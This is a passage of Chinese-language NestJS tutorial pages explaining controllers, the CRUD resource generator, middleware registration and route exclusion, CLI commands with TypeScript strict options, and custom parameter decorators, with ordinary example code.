  update(@Param('id') id: string, @Body() updateCatDto: UpdateCatDto) {
    // 从路由参数获取 id，同时从请求体中获取更新数据
    return `This action updates a #${id} cat`;
  }

  @Delete(':id') // DELETE /cats/:id
  remove(@Param('id') id: string) {
    // 删除指定 ID 的猫咪数据
    return `This action removes a #${id} cat`;
  }
}
```

```ts
// 示例：CreateCatDto
export class CreateCatDto {
  name: string;
  age: number;
  breed: string;
}
```

DTO 通常使用 `class-validator` 和 `class-transformer` 结合 `@Body()` 一起对数据进行验证和转换。

## 增删改查生成器{#crud-generator}

> \[!important]
> `Entity`（实体类）
>
> * 用在 ORM（如 TypeORM、Prisma）中
> * 是后端代码和数据库“表”的映射
> * 通常用在 `Repository.save()`、`Repository.find()` 这样的数据库操作中
>
> Entity 是数据在后端落地的模型，而 DTO 是数据“进门”之前的检查器。

设想一个真实场景：我们需要为两个实体——比如用户（User）和产品（Product）——公开各自的 CRUD 接口。

按照 Nest 的最佳实践，对于每个实体，我们通常需要执行以下多个步骤：

* 使用 `nest g mo` 命令生成模块，以便更好地组织代码、划分清晰边界，并对相关组件进行分组
* 使用 `nest g co` 生成控制器，定义该资源的 CRUD 路由（或在 GraphQL 中定义查询/变更）
* 使用 `nest g s` 创建服务，用于实现和封装该实体的业务逻辑
* 编写一个实体类或接口，用于描述资源的数据结构
* 编写 DTO（数据传输对象）类，用于定义客户端与服务端之间传递数据的格式（GraphQL 中则为输入类型）

这一整套流程虽然清晰规范，但步骤繁琐、重复性高。

为了简化这一过程，Nest 提供了强大的命令行工具（CLI），其中内置的生成器（schematics）可以一键自动生成所有这些样板代码，大幅提升开发效率，改善开发体验。

> \[!tip]
> **支持生成 HTTP 控制器、微服务控制器、GraphQL 解析器（代码优先和架构优先）和 WebSocket 网关**。

```bash
$ nest g resource [name]

? What transport layer do you use?
❯ REST API
  GraphQL (code first)
  GraphQL (schema first)
  Microservice (non-HTTP)
  WebSockets
```

`nest g resource` 命令不仅生成所有 NestJS 构建块（**模块、服务、控制器**类），还生成**实体类**、**DTO 类**以及测试 (`.spec`) 文件，并且自动连接它们。

> \[!important]
> 为了避免生成测试文件，你可以传递 `--no-spec` 标志，如下所示：`nest g resource users --no-spec`

## 启动并运行{#getting-up-and-running}

即使我们已经定义了 `CatsController`，Nest 并不会自动识别或实例化它。
在 NestJS 中，**控制器（Controller）必须显式地注册到模块中**，否则它们不会被框架识别或使用。

**模块是 Nest 应用的基础构建块**

Nest 应用程序是由一个或多个模块组成的。每个模块使用 `@Module()` 装饰器定义，用于声明当前模块中包含的控制器、服务、提供者等组件。

由于我们目前只有一个根模块 `AppModule`，可以直接在其中注册我们的控制器：

```ts
import { Module } from '@nestjs/common';
import { CatsController } from './cats/cats.controller';

@Module({
  controllers: [CatsController], // 显式注册 CatsController
})
export class AppModule {}
```

* `@Module()`：这是 Nest 提供的模块装饰器，用于声明模块元数据。
* `controllers: [CatsController]`：这表示该模块管理的控制器列表，Nest 会自动扫描这些控制器并为其创建实例。
* `AppModule` 是应用的根模块，**所有功能模块最终都会被引入这里或被该模块（main.ts）间接导入**。

## 特定于库的方法{#library-specific-approach}

Nest 默认使用抽象的方式处理 HTTP 响应（如通过 `@HttpCode()` 设置状态码、返回对象即为响应体等）。但有时候，你可能希望直接使用底层框架（如 Express）的响应对象，这种情况下可以使用 `@Res()` 装饰器注入它。

使用 Express 响应对象：

```ts
import { Controller, Get, Post, Res, HttpStatus } from '@nestjs/common';
import { Response } from 'express'; // 显式使用 Express 响应类型

@Controller('cats')
export class CatsController {
  @Post()
  create(@Res() res: Response) {
    // 直接使用 res 对象设置状态码和发送响应
    res.status(HttpStatus.CREATED).send(); // 状态码 201
  }

  @Get()
  findAll(@Res() res: Response) {
    // 返回 JSON 响应
    res.status(HttpStatus.OK).json([]); // 状态码 200，空数组
  }
}
```

使用 `@Res()` 的注意事项

虽然直接使用底层响应对象提供了更大的灵活性（如自定义头部、设置 Cookie 等），但也存在以下问题：

| 问题                   | 说明                                                                   |
| ---------------------- | ---------------------------------------------------------------------- |
| **与平台耦合**         | 代码依赖于具体的 HTTP 平台（如 Express、Fastify），降低了移植性        |
| **破坏框架功能兼容性** | Nest 的拦截器、过滤器、`@HttpCode()`、`@Header()` 等功能将失效         |
| **影响测试可用性**     | 单元测试中需要手动模拟响应对象（如 mock `res.status()`、`res.send()`） |

推荐方式：启用 passthrough（兼顾框架与底层能力）

你可以使用 `@Res({ passthrough: true })`，该模式允许你对响应对象进行局部控制（如设置 Cookie、标头等），同时依然保留标准的返回机制。

```ts
@Get()
findAll(@Res({ passthrough: true }) res: Response) {
  res.status(HttpStatus.OK); // 设置响应状态码，但不立即结束响应
  return []; // Nest 继续处理返回值，并序列化为响应体
}
```

优势：

* 保留框架的自动响应处理（支持拦截器、异常过滤器等）
* 可灵活操作原始响应对象（如设置 Cookie、标头）
* 保持平台切换的灵活性（Express ⇿ Fastify）

---

---
url: /nest/chcwe1xj/index.md
---
# 中间件
## 中间件{#middleware}

中间件是在路由处理程序之前执行的函数，主要用于拦截请求、记录日志、权限校验、修改请求对象等，必须调用 `next()` 继续执行链条。

中间件函数可以访问 `request` 和 `response` 对象，以及应用请求-响应周期中的 `next()` 函数。

默认情况下，Nest 中间件等同于 Express 中间件。

```ts
(req, res, next) => { /* 逻辑 */ }
```

官方 Express 文档说明，中间件可以：执行任意代码，修改 req/res，结束请求，或调用 `next()` 继续往下走，如果你不调用 `next()`，请求就“卡死”了，浏览器会一直等待响应。

**函数式中间件**

```ts
function logger(req, res, next) {
  console.log('Request...');
  next();
}
```

**类中间件**：

```ts
import { Injectable, NestMiddleware } from '@nestjs/common';
import { Request, Response, NextFunction } from 'express';

@Injectable()
export class LoggerMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    console.log(`Incoming Request to: ${req.method} ${req.url}`);
    next(); // 放行到下一个中间件或控制器
  }
}
```

使用 `@Injectable()` 声明，需要实现 `NestMiddleware` 接口，`use()` 方法中定义逻辑，支持依赖注入（比如你可以注入日志服务）。

需要注意Express 和 Fastify 的差异，如果切换到 Fastify，不要盲目照搬 Express 的中间件

## 依赖注入{#dependency-injection}

Nest 中间件**完全支持依赖注入**，就像 provider 和 controller 一样，它们可以注入**同一模块中注册（可用）的依赖**，和之前一样，这通过 `constructor` 实现。

## 应用中间件{#applying-middleware}

Nest 中间件的注册**不是写在 `@Module()` 装饰器里**，而是通过模块类的 `configure()` 方法，在其中使用 `MiddlewareConsumer` 显式注册。

`@Module()` 装饰器中**没有中间件的位置**，我们使用模块类的 `configure()` 方法注册中间件。

```ts
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(LoggerMiddleware)
      .forRoutes('cats');
  }
}
```

`apply()`：传入中间件（可以多个）

`forRoutes()`：指定哪些路由使用中间件（支持字符串、对象、控制器类）

`NestModule`：必须实现这个接口才能使用 `configure()` 方法

**支持更精准地匹配路由和方法**

```ts

import { Module, NestModule, RequestMethod, MiddlewareConsumer } from '@nestjs/common';
import { LoggerMiddleware } from './common/middleware/logger.middleware';
import { CatsModule } from './cats/cats.module';

@Module({
  imports: [CatsModule],
})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(LoggerMiddleware)
      .forRoutes({ path: 'cats', method: RequestMethod.GET });
  }
}
```

只作用于 `GET /cats` 请求，可配合 `RequestMethod.POST / PUT / DELETE` 精确控制

```ts
forRoutes(
  { path: 'cats', method: RequestMethod.GET },
  { path: 'cats', method: RequestMethod.POST }
);
```

你也可以作用于整个控制器类：

```ts
forRoutes(CatsController)
```

配置方式支持 async，`configure()` 方法可以是异步的。

```ts
async configure(consumer: MiddlewareConsumer) {
  const config = await this.configService.load();
  consumer.apply(MyMiddleware).forRoutes(...);
}
```

虽然不常见，但在某些需要“等待配置完成”后再决定加载哪些中间件的场景中是有用的。

**注意**：如果你使用的是 Express（默认适配器），Nest 会自动注册 `body-parser`。

这意味着：

* Nest 启动时已经注入了 `express.json()` 和 `express.urlencoded()`；
* 如果你想用自己的 JSON 解析器或参数处理中间件，比如：

```ts
app.use(bodyParser.json({ limit: '10mb' }));
```

你必须**在创建应用时关闭 Nest 默认注入的 bodyParser**：

```ts
const app = await NestFactory.create(AppModule, {
  bodyParser: false,
});
```

**推荐中间件注册结构**：

```ts
@Module({
  imports: [CatsModule],
})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(LoggerMiddleware, OtherMiddleware)
      .exclude(
        { path: 'cats', method: RequestMethod.POST }, // 不作用于 POST /cats
      )
      .forRoutes(CatsController); // 对 CatsController 所有方法生效
  }
}
```

## 路由通配符{#route-wildcards}

Nest 支持使用路径通配符（如 `*splat`）匹配特定模式的路由，非常适合中间件批量作用于一类路径，比如静态资源、API 前缀、带动态参数的路由等。

```ts
forRoutes({
  path: 'abcd/*splat',
  method: RequestMethod.ALL,
});
```

上面这个配置会匹配：

* `/abcd/1`
* `/abcd/abc`
* `/abcd/anything/here`

`splat` 只是通配符的“名字”，没有任何语义限制，你可以叫它 `*wildcard`、`*pathTail`，任意名称都可以。

**注意**：`path: 'abcd/*'`不会匹配 `/abcd/` 本身，不会匹配 `/abcd/`，因为没有“\*”后面的部分。

匹配带或不带尾部的路径：使用 `{*splat}`

```ts
path: 'abcd/{*splat}'
```

这会匹配：

* `/abcd/`
* `/abcd/x`
* `/abcd/x/y`

花括号 `{}` 的意思是：**整个通配符段是可选的**。

**举个实战应用**：

```ts
consumer
  .apply(AuthMiddleware)
  .forRoutes({
    path: 'api/{*wildcard}',
    method: RequestMethod.ALL,
  });
```

上面代码会让中间件作用于所有以 `/api/` 开头的路由，包括 `/api`, `/api/user`, `/api/user/123/edit`。

**建议**：

不推荐用太宽泛的通配符（如 `*`），否则中间件会作用于所有请求，可能带来性能问题。

`path: '{*splat}'` 适合用在全局 fallback 中间件，比如前端 SPA 支持（比如所有非 API 路由跳转到 `index.html`）。

## 中间件消费者{#middleware-consumer}

`MiddlewareConsumer` 是一个中间件管理器，提供链式方法如 `.apply()`、`.forRoutes()`、`.exclude()` 等，用于灵活精确地控制中间件在哪些路由上生效。

`forRoutes()` 接收的参数类型很多样：

| 类型           | 示例                                          | 含义                    |
| -------------- | --------------------------------------------- | ----------------------- |
| 字符串         | `'cats'`                                      | 匹配 `/cats` 路由       |
| 多个字符串     | `'cats', 'dogs'`                              | 匹配多个路径            |
| 控制器类       | `CatsController`                              | 匹配此控制器中所有路由  |
| 多个控制器类   | `CatsController, DogsController`              | 多控制器批量注册        |
| RouteInfo 对象 | `{ path: 'cats', method: RequestMethod.GET }` | 精确指定路径 + 请求方法（支持多个对象） |

**示例：作用于单个控制器**

```ts
@Module({
  imports: [CatsModule],
})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(LoggerMiddleware)
      .forRoutes(CatsController);
  }
}
```

这表示：`LoggerMiddleware` 会**作用于 `CatsController` 的所有方法和路径**。

**提示：apply() 支持多个中间件**

```ts
consumer
  .apply(LoggerMiddleware, AuthMiddleware, CompressionMiddleware)
  .forRoutes(CatsController);
```

你可以一次性注册多个中间件，这些中间件会按顺序依次执行。

| 用法                                               | 建议                                                    |
| -------------------------------------------------- | ------------------------------------------------------- |
| `apply(...).forRoutes('prefix')`                   | 匹配精确的 `/prefix` 路径                               |
| `apply(...).forRoutes(SomeController)`             | 用于作用于整个控制器                                    |
| `apply(...).forRoutes({ path: ..., method: ... })` | 精细控制请求路径和方法                                  |
| `apply(...).exclude(...)`                          | 配合 `exclude()` 排除特定路由（比如某些无需认证的路径） |

`.exclude()` 示例（经典登录绕过场景）：

```ts
consumer
  .apply(AuthMiddleware)
  .exclude({ path: 'auth/login', method: RequestMethod.POST })
  .forRoutes('*');
```

这会让中间件作用于所有路由，**但排除掉** POST `/auth/login`。

## 排除路由{#excluding-routes}

`.exclude()` 方法可以排除特定路由，使中间件不作用于这些路径，适用于**登录白名单、Webhook绕过、安全路由控制**等场景。

`exclude()` 方法接受单个字符串、多个字符串或 `RouteInfo` 对象来标识要排除的路由，`.exclude()` 和 `.forRoutes()` 的参数类型 **基本一致**

比如你想中间件作用于整个控制器，但排除其中一两个方法（如 `/cats` 的 GET、POST）。

```ts
consumer
  .apply(LoggerMiddleware)
  .exclude(
    { path: 'cats', method: RequestMethod.GET },
    { path: 'cats', method: RequestMethod.POST },
    'cats/{*splat}',
  )
  .forRoutes(CatsController);
```

将 `LoggerMiddleware` 应用于 `CatsController` 的所有路由，**但排除以下路由**：

* `GET /cats`
* `POST /cats`
* 所有 `/cats/xxx` 子路径

`exclude()` 是对 `.forRoutes()` 的补充，它是**优先生效**的：

先执行 `exclude()` 过滤掉你不希望中间件生效的路径，剩下的交给 `forRoutes()` 匹配范围

路径匹配使用的是 [`path-to-regexp`](https://github.com/pillarjs/path-to-regexp) 包（Express 也是这个），所以你可以放心使用通配符：`*`、`{*splat}`、参数等

## 功能中间件{#functional-middleware}

如果你的中间件只是做些简单的请求日志、路径检查、IP 过滤等逻辑，没有依赖注入或状态管理，就可以用一个简单的函数来定义，而不需要写一个类。

**👎 基于类的中间件（麻烦）**：

```ts
import { Injectable, NestMiddleware } from '@nestjs/common';
import { Request, Response, NextFunction } from 'express';

@Injectable()
export class LoggerMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    console.log('Request...');
    next();
  }
}
```

**👍 函数式中间件（推荐用于轻量场景）**：

```ts
import { Request, Response, NextFunction } from 'express';

export function logger(req: Request, res: Response, next: NextFunction) {
  console.log('Request...');
  next();
}
```

注册方式一样：

```ts
consumer
  .apply(logger)
  .forRoutes(CatsController);
```

**函数式中间件的适用场景**：不需要依赖注入，只打印日志、设置 headers、IP 白名单等，没有内部状态，纯逻辑

**不建议使用函数式的情况**：中间件需要注入服务，需要配置项（如读取 configService）， 需要访问模块上下文，但只有类支持依赖注入 & 生命周期

**优雅使用**：

1. 放在 `common/middleware/logger.middleware.ts`
2. 对于中间件名，可以规范命名为 `loggerMiddleware()` 或 `logger`，函数名小写。
3. 有状态的中间件 → 用类；无状态 → 用函数。

**建议**：当你的中间件不需要任何依赖时，请考虑使用更简单的功能中间件替代方案。

## 多个中间件{#multiple-middleware}

为了绑定顺序执行的多个中间件，只需在 `apply()` 方法中提供一个逗号分隔的列表：

```ts
consumer.apply(cors(), helmet(), logger).forRoutes(CatsController);
```

它们的执行顺序是：`cors()` -> `helmet()` -> `logger()`，即从左到右依次执行。

**类中间件写类名**：`LoggerMiddleware`

**函数式中间件写函数**：`logger`（不加括号）

**第三方中间件（如 `cors`）写函数调用结果**：`cors()`

**Nest完全兼容 Express 和 Fastify 的中间件生态**，你可以直接使用大量成熟的中间件库

## 常用第三方中间件库{commonly-middleware-libraries}

适用于 Express 适配器：

| 中间件                                                       | 说明                                                 | 安装                          |
| ------------------------------------------------------------ | ---------------------------------------------------- | ----------------------------- |
| [`helmet`](https://www.npmjs.com/package/helmet)             | 设置各种安全 HTTP 头部，防止 XSS、点击劫持等攻击     | `pnpm add helmet`             |
| [`cors`](https://www.npmjs.com/package/cors)                 | 开启跨域资源共享                                     | `pnpm add cors`               |
| [`morgan`](https://www.npmjs.com/package/morgan)             | 请求日志记录器，支持不同格式（如 `combined`、`dev`） | `pnpm add morgan`             |
| [`compression`](https://www.npmjs.com/package/compression)   | Gzip 压缩 HTTP 响应体，提升传输效率                  | `pnpm add compression`        |
| [`express-rate-limit`](https://www.npmjs.com/package/express-rate-limit) | 限流中间件，防止接口刷爆                             | `pnpm add express-rate-limit` |
| [`express-session`](https://www.npmjs.com/package/express-session) | 处理 Session 会话管理（配合身份认证）                | `pnpm add express-session`    |
| [`cookie-parser`](https://www.npmjs.com/package/cookie-parser) | 解析 HTTP 请求中的 Cookie                            | `pnpm add cookie-parser`      |
| [`express-useragent`](https://www.npmjs.com/package/express-useragent) | 解析请求头中的 user-agent 字符串                     | `pnpm add express-useragent`  |

在 NestJS 中使用

```ts
import * as helmet from 'helmet';
import * as cors from 'cors';
import * as morgan from 'morgan';
import * as compression from 'compression';

export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(
        helmet(),
        cors(),
        compression(),
        morgan('dev')
      )
      .forRoutes('*');
  }
}
```

如果你切换到 Fastify（`@nestjs/platform-fastify`），则要使用 Fastify 对应的插件：

| 插件                  | 替代 Express 中间件       |
| --------------------- | ------------------------- |
| `@fastify/cors`       | 替代 `cors`               |
| `@fastify/helmet`     | 替代 `helmet`             |
| `@fastify/compress`   | 替代 `compression`        |
| `@fastify/rate-limit` | 替代 `express-rate-limit` |

通过 `app.register(...)` 注册插件，而不是 `consumer.apply(...)`

**建议组合（开发 + 生产）**

| 用途       | 推荐中间件                                   |
| ---------- | -------------------------------------------- |
| 安全       | `helmet()`、`rate-limit()`                   |
| 性能       | `compression()`、Fastify 也推荐              |
| 监控       | `morgan('dev')` + 自定义 logger              |
| 用户端信息 | `express-useragent`                          |
| 身份认证   | `cookie-parser()` + `session()`（配合 Auth） |

## 全局中间件{#global-middleware}

如果我们想一次将中间件绑定到每个已注册的路由，我们可以使用 `INestApplication` 实例提供的 `use()` 方法

```ts
// main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { logger } from './common/middleware/logger.middleware';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  // 绑定全局中间件（函数式）
  app.use(logger);

  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
```

**特点说明**

| 特性           | 说明                                                 |
| -------------- | :--------------------------------------------------- |
| 作用范围       | 绑定到 **所有** 路由                                 |
| 使用方式       | `app.use(...)`                                       |
| 推荐中间件类型 | **函数式中间件**（推荐），也支持类（但不能注入依赖） |
| 注册位置       | 必须在 `main.ts` 中使用 `INestApplication` 实例      |
| 调用时机       | 在所有模块加载完后运行                               |

**注意**：全局中间件**不能使用依赖注入**

类中间件如果通过 `app.use(...)` 注册，是无法注入依赖的！因为它脱离了 Nest 的模块体系。

```ts
@Injectable()
export class LoggerMiddleware implements NestMiddleware {
  constructor(private configService: ConfigService) {} // 不会注入
}
```

所以，**用函数式中间件**（比如纯 logger 函数）放在全局就好， **需要依赖注入的类中间件**不要用 `app.use()` 注册。

**支持依赖注入的“伪全局中间件”**

如果你想要：中间件作用于整个 app（几乎所有路由），又希望能注入依赖（比如 `ConfigService`、`LoggerService`）

```ts
consumer
  .apply(LoggerMiddleware)
  .forRoutes('*'); // 匹配所有路由，包括 Controller 中的所有 handler
```

这种方式中间件能像正常提供器一样注入依赖，还能通过 `exclude()` 精细控制范围。

---

---
url: /nest/db18bt4g/index.md
---
## 全局安装 NestJS CLI

::: code-tabs
@tab pnpm

```bash
pnpm add -g @nestjs/cli
```

@tab yarn

```bash
yarn global add @nestjs/cli
```

@tab npm

```bash
npm install -g @nestjs/cli
```

@tab bun

```bash
bun add -g @nestjs/cli
```

:::

## 更新 CLI

```bash
npm update -g @nestjs/cli
```

## 创建新项目

创建一个新的 NestJS 项目。

```bash
nest new <project-name>
```

`--skip-git` 跳过 git 的初始化

`--skip-install` 跳过 npm install

`--package-manager` 指定包管理器的

`--language` 可以指定 typescript 和 javascript

`--strict` 是指定 ts 的编译选项是否开启严格模式，也就是这 5 个选项：

```json
"strictNullChecks": true,
"noImplicitAny": true,
"strictBindCallApply": true,
"forceConsistentCasingInFileNames": true,
"noFallthroughCasesInSwitch": true
```

::: details 严格模式详解

`"strictNullChecks": true` **作用：** 启用严格的空值检查。

当开启 `strictNullChecks` 后：

* `null` 和 `undefined` 不再是所有类型的子类型。
* 只有显式允许它们的变量才能接收这两个值。

```ts
let name: string = "yumeng";
// name = null;      // 报错：不能将 null 赋给 string 类型
// name = undefined; // 报错
```

如果确实需要允许空值：

```ts
let name: string | null = null; // 合法
```

`"noImplicitAny": true` **作用：** 禁止隐式的 `any` 类型。

当 TypeScript 无法推断出变量或参数类型时，会自动认为它是 `any`。

开启此项后，必须**显式声明类型**或让 TypeScript 能推断出类型，否则编译报错。

```ts
function greet(name) {  // 报错：参数 'name' 隐式具有 'any' 类型
  console.log("Hello " + name);
}

// 修复：
function greet(name: string) {
  console.log("Hello " + name);
}
```

`"strictBindCallApply": true `**作用：** 在使用 `Function.prototype.bind`、`call`、`apply` 时进行严格的类型检查。

默认情况下，TypeScript 对 `bind`、`call`、`apply` 的参数校验较为宽松。

开启此项后，TypeScript 会严格检查这些方法传入的参数类型是否与原函数匹配。

```ts
function add(a: number, b: number) {
  return a + b;
}

add.call(null, 10, 20);     // 正确
add.call(null, "10", "20"); // 报错：参数类型不匹配
```

`"forceConsistentCasingInFileNames": true` **作用：** 强制文件名大小写一致。

在 Windows 和 macOS 上，文件系统是**大小写不敏感的**，但在 Linux 上是**大小写敏感的**。

启用此选项后，TypeScript 会在编译时检查**import 路径中的文件名大小写**是否与实际文件名一致。

```ts
// 文件名：UserService.ts
import { UserService } from './userservice'; // 报错：大小写不一致
```

`"noFallthroughCasesInSwitch": true` **作用：** 禁止 `switch` 语句中的 case **贯穿（fall-through）**，除非显式使用 `break` 或 `return`。

```ts
switch (value) {
  case 1:
    console.log("A");
  case 2:
    console.log("B");
}
// 报错：case 1 没有 break，会直接执行 case 2

// 正确写法
switch (value) {
  case 1:
    console.log("A");
    break;
  case 2:
    console.log("B");
    break;
}
```

:::

## 生成资源（模块、控制器、服务等）

快速生成模块、控制器、服务、网关等代码骨架。

### 生成模块

```bash
nest generate module <module-name>
# 或简写
nest g mo <module-name>
```

### 生成控制器

```bash
nest generate controller <controller-name>
# 或简写
nest g co <controller-name>
```

### 生成服务

```bash
nest generate service <service-name>
# 或简写
nest g s <service-name>
```

### 生成提供者

```bash
nest generate provider <provider-name>
# 或简写
nest g pr <provider-name>
```

### 生成网关

```bash
nest generate gateway <gateway-name>
# 或简写
nest g ga <gateway-name>
```

### 生成拦截器

```bash
nest generate interceptor <interceptor-name>
# 或简写
nest g in <interceptor-name>
```

### 生成守卫

```bash
nest generate guard <guard-name>
# 或简写
nest g gu <guard-name>
```

### 生成管道

```bash
nest generate pipe <pipe-name>
# 或简写
nest g pi <pipe-name>
```

### 生成装饰器

```bash
nest generate decorator <decorator-name>
# 或简写
nest g de <decorator-name>
```

### 生成过滤器

```bash
nest generate filter <filter-name>
# 或简写
nest g fi <filter-name>
```

### 生成类

```bash
nest generate class <class-name>
# 或简写
nest g cl <class-name>
```

### 生成接口

```bash
nest generate interface <interface-name>
# 或简写
nest g itf <interface-name>
```

### 生成枚举

```bash
nest generate enum <enum-name>
# 或简写
nest g en <enum-name>
```

### 生成完整模块

```bash
nest generate resource <name>
```

可以在 [@nestjs/schematics](https://github.com/nestjs/schematics/tree/master/src/lib) 里看到这些代码模版的定义

## 运行项目

启动 NestJS 应用。

```bash
nest start
```

选项：

```bash
nest start --watch   # 热更新模式
nest start --debug   # 调试模式
```

```bash
nest start -h
```

## 构建项目

编译 TypeScript 项目到 JavaScript。

```bash
nest build
```

`--wepback` 和 `--tsc` 是指定用什么编译，默认是 tsc 编译，也可以切换成 webpack。

`tsc` 不做打包、`webpack` 会做打包，两种方式都可以。

node 模块本来就不需要打包，但是打包成单模块能提升加载的性能。

## 查看项目信息

查看项目信息的，包括系统信息、 node、npm 和依赖版本

```bash
nest info
```

```bash

 _   _             _      ___  _____  _____  _     _____
| \ | |           | |    |_  |/  ___|/  __ \| |   |_   _|
|  \| |  ___  ___ | |_     | |\ `--. | /  \/| |     | |
| . ` | / _ \/ __|| __|    | | `--. \| |    | |     | |
| |\  ||  __/\__ \| |_ /\__/ //\__/ /| \__/\| |_____| |_
\_| \_/ \___||___/ \__|\____/ \____/  \____/\_____/\___/


[System Information]
OS Version     : Windows10.0.19045
NodeJS Version : v20.19.0
PNPM Version    : 10.13.1 

[Nest CLI]
Nest CLI Version : 11.0.10

[Nest Platform Information]
platform-express version : 11.1.6
platform-fastify version : 11.1.6
schematics version       : 11.0.7
testing version          : 11.1.6
common version           : 11.1.6
config version           : 4.0.2
core version             : 11.1.6
cli version              : 11.0.10
```

## 查看帮助

显示 CLI 命令的帮助信息。

```bash
nest --help
```

或者查看某个命令的详细选项：

```bash
nest <command> --help
```

---

---
url: /nest/di7ac92j/index.md
---
# 自定义装饰器
## 自定义路由装饰器{#custom-route-decorators}

Nest.js 框架的核心特性之一就是装饰器。装饰器是一种强大的元编程特性，在许多主流编程语言中都有实现，比如 Python 的装饰器、Java 的注解等。虽然在 JavaScript 生态中，装饰器相对较新，但它已经在 TypeScript 中得到了广泛应用。为了更好地理解装饰器的工作原理，我们先来看看它的基本概念：

[快速上手装饰器](./ts-tutorial#decorators)

NestJS 在框架层面大量使用装饰器来简化开发。比如在路由处理方面，它提供了一系列 HTTP 方法装饰器：`@Get()`用于处理 GET 请求，`@Post()`用于处理 POST 请求，此外还有`@Put()`、`@Delete()`、`@Patch()`、`@Options()`、`@Head()`以及通用的`@All()`等。这些装饰器不仅定义了路由的处理方法，还可以携带路径参数和其他配置选项。

从技术角度来看，装饰器本质上是一个返回函数的表达式，它可以接收三个参数：目标对象、属性名称和属性描述对象。通过在类、方法或属性定义前添加 @ 符号来使用装饰器。装饰器的执行时机是在代码解析阶段，而不是运行时，这使得它能够在编译期间修改或增强目标代码的行为。

## 参数装饰器{#parameter-decorators}

Nest 提供了一组功能强大的参数装饰器，它们可以与 HTTP 路由处理程序无缝集成，大大简化了请求处理的过程。这些装饰器本质上是对底层框架（Express 或 Fastify）请求对象的智能封装，让开发者可以以更优雅和类型安全的方式访问请求数据。

下面是 NestJS 提供的核心参数装饰器及其对应的底层对象映射关系：

| 装饰器                     | 对应对象                             | 使用场景                                    |
| -------------------------- | ------------------------------------ | ------------------------------------------- |
| `@Request(), @Req()`       | `req`                                | 获取完整的请求对象                          |
| `@Response(), @Res()`      | `res`                                | 获取响应对象，用于自定义响应                |
| `@Next()`                  | `next`                               | 获取 next 函数，用于中间件流程控制          |
| `@Session()`               | `req.session`                        | 访问会话数据，用于状态管理                  |
| `@Param(param?: string)`   | `req.params` / `req.params[param]`   | 获取路由参数，如 `/users/:id` 中的 id       |
| `@Body(param?: string)`    | `req.body` / `req.body[param]`       | 获取请求体数据，常用于 POST/PUT 请求        |
| `@Query(param?: string)`   | `req.query` / `req.query[param]`     | 获取查询字符串参数，如 `?page=1` 中的 page  |
| `@Headers(param?: string)` | `req.headers` / `req.headers[param]` | 访问请求头信息，用于获取认证令牌等元数据    |
| `@Ip()`                    | `req.ip`                             | 获取客户端 IP 地址                          |
| `@HostParam()`             | `req.hosts`                          | 获取主机名信息，用于子域名路由等场景        |

这些装饰器不仅提供了类型安全的参数访问，还支持参数转换和验证。例如，你可以结合 class-validator 和 class-transformer 使用这些装饰器来实现自动的数据验证和转换：

```typescript
@Post()
async create(@Body() createUserDto: CreateUserDto) {
  // createUserDto 已经经过验证和转换
  return this.usersService.create(createUserDto);
}
```

还可以创建自己的自定义装饰器

比如将属性附加到请求对象是常见的做法。然后在每个路由处理程序中手动提取它们，使用如下代码：

```ts
const user = req.user;
```

但是，使用装饰器可以更方便地实现这一点，让代码更简洁，并且可以在所有的控制器中复用。

```ts
import { createParamDecorator, ExecutionContext } from '@nestjs/common';

export const User = createParamDecorator(
  (data: unknown, ctx: ExecutionContext) => {
    const request = ctx.switchToHttp().getRequest();
    return request.user;
  },
);
```

在任何控制器中，都可以使用 `@User()` 装饰器来获取用户信息。

```ts
@Get()
async findAll(@User() user: User) {
  return user;
}
```

## 参数传递与数据提取{#pass-data}

在实际开发中，装饰器往往需要根据不同场景动态调整其行为。通过 data 参数，我们可以实现装饰器的可配置性，使其更加灵活和可复用。这在处理复杂的用户信息提取场景中特别有用。

例如，在一个典型的身份认证系统中，认证中间件会将验证后的用户信息附加到请求对象上。这个用户实体通常包含丰富的信息：

```json
{
  "id": 101,
  "firstName": "Alan",
  "lastName": "Turing",
  "email": "alan@email.com",
  "roles": ["admin"],
  "preferences": {
    "theme": "dark",
    "notifications": true
  },
  "metadata": {
    "lastLogin": "2023-01-01T00:00:00Z",
    "loginCount": 42
  }
}
```

为了优雅地处理这种复杂对象，我们可以创建一个智能的参数装饰器。这个装饰器不仅可以获取整个用户对象，还能根据传入的属性路径精确提取所需信息：

```ts
import { createParamDecorator, ExecutionContext, BadRequestException } from '@nestjs/common';

export const User = createParamDecorator(
  (data: string, ctx: ExecutionContext) => {
    const request = ctx.switchToHttp().getRequest();
    const user = request.user;

    // 增强的错误处理
    if (!user) {
      throw new BadRequestException('User not found in request');
    }

    // 支持嵌套属性访问，如 preferences.theme
    if (data) {
      const value = data.split('.').reduce((obj, key) => obj?.[key], user);
      if (value === undefined) {
        throw new BadRequestException(`Property ${data} not found in user object`);
      }
      return value;
    }

    return user;
  },
);
```

这样设计的装饰器提供了更强大和灵活的使用方式。在控制器中，你可以根据需要精确提取所需的用户信息：

```ts
@Get('profile')
async getProfile(
  @User('firstName') firstName: string,
  @User('preferences.theme') theme: string,
  @User('metadata.lastLogin') lastLogin: Date
) {
  console.log(`User ${firstName} last logged in at ${lastLogin} with ${theme} theme`);
  return { firstName, theme, lastLogin };
}
```

这种方式不仅让代码更简洁易读，还提供了以下优势：

1. **类型安全** - 通过泛型参数可以确保类型检查
2. **代码复用** - 避免重复编写属性访问逻辑
3. **错误处理** - 集中处理异常情况
4. **灵活性** - 支持深层属性访问
5. **可维护性** - 统一的数据获取接口

> \[!tip] 提示
>
> TypeScript 用户可以利用泛型来增强类型安全。
>
> `createParamDecorator<T>()` 是泛型。这意味着你可以显式强制执行类型安全，例如 `createParamDecorator<string>((data, ctx) => ...)`。或者，在工厂函数中指定参数类型，例如 `createParamDecorator((data: string, ctx) => ...)`。如果两者都省略，则 `data` 的类型将为 `any`。
